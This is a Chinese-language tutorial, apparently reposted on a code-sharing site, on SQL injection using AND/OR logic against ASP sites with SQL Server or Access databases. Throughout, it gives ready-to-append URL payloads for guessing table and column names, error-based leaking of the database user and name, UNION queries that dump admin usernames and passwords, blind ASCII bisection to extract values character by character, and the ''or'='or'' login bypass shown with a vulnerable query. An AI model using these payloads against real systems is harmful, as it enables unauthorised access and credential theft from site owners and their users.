利用AND和OR的運算規則進行SQL注入


方法1

先猜表名

And (Select count(*) from 表名)<>0

猜列名

And (Select count(列名) from 表名)<>0

或者也可以這樣

and exists (select * from 表名)

and exists (select 列名 from 表名)

返回正確的,那么寫的表名或列名就是正確

這里要注意的是,exists這個不能應用於猜內容上,例如and exists (select len(user) from admin)>3 這樣是不行的

很多人都是喜歡查詢里面的內容,一旦iis沒有關閉錯誤提示的,那么就可以利用報錯方法輕松獲得庫里面的內容

獲得數據庫連接用戶名:;and user>0

引用《SQL注入天書》,重點在and user>0userSQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar轉換int異常,XXXX不能轉換成int"

看到這里大家明白了吧,報錯的原理就是利用SQLserver內置的系統表進行轉換查詢,轉換過程會出錯,然后就會顯示出在網頁上,另外還有類似的and 1=(selet top 1 user from admin),這種語句也是可以爆出來的。;and db_name()>0 則是暴數據庫名。

一旦關閉了IIS報錯,那么還可以用union(聯合查詢)來查內容,主要語句就是

Order by 10

And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin

And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

上面的order by 10主要就是查字段數目,admin就是表名,可以自己猜,user,passwd是列名

反正就是返回正確即對,返回異常即錯

另外還有十分常用的ASCII碼拆半法

先要知道指定列名,例如user里的內容的長度

and (select len(user) from admin)=2 就是查詢長度為不為2位,返回錯誤的增加或減少數字,一般這個數字不會太大,太大的就要放棄了,猜也多余

后面的邏輯符號可以根據不同要求更改的,

>;大於 <;小於 =就是等於咯,更新語句的話,=也可以表示傳遞符號 <>;就是不等

知道了長度后就可以開始猜解了

And (Select top 1 asc(mid(user,n,1)) from admin)>100

n就是猜解的表名的第幾位,最后的長度數字就是剛才猜解出來的列名長度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里內容的第一位的ASCII字符是不是大於100

正確的話,那么表示USER第一個字符的ASCII碼大於100,那么就猜>120,返回錯誤就是介於100120之間,然后再一步一步的縮少,最終得到正確字符XXX,然后用ASCII轉換器吧這個轉換成普通字符就可以了

然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去

加在url后面,列名表名還是先猜解,返回正確的代表帳號的ASCII碼大於100,那么就再向前猜,直到報錯,把猜出來的ASCII碼拿去ASCII轉換器轉換就可以了,中文是負數,加上asb取絕對值

And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320

得到之后就記得在數字前加-號,不然ASCII轉換器轉換不來的,中文在ASCII碼里是-23423這樣的,所以猜起來挺麻煩

這個猜解速度比較慢,但是效果最好,最具有廣泛性

方法2

后台身份驗證繞過漏洞

驗證繞過漏洞就是'or'='or'后台繞過漏洞,利用的就是ANDOR的運算規則,從而造成后台腳本邏輯性錯誤

例如管理員的賬號密碼都是admin,那么再比如后台的數據庫查詢語句是

user=request("user")

passwd=request("passwd")

sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''

那么我使用'or 'a'='a來做用戶名密碼的話,那么查詢就變成了

select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'

這樣的話,根據運算規則,這里一共有4個查詢語句,那么查詢結果就是 假orandor真,先算and 再算or,最終結果為真,這樣就可以進到后台了

這種漏洞存在必須要有2個條件,第一個:在后台驗證代碼上,賬號密碼的查詢是要同一條查詢語句,也就是類似

sql="select * from admin where username='"&username&'&"passwd='"&passwd&'

如果一旦賬號密碼是分開查詢的,先查帳號,再查密碼,這樣的話就沒有辦法了。

第二就是要看密碼加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一種條件有沒有可以,沒有達到第一種條件的話,那就沒有戲了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM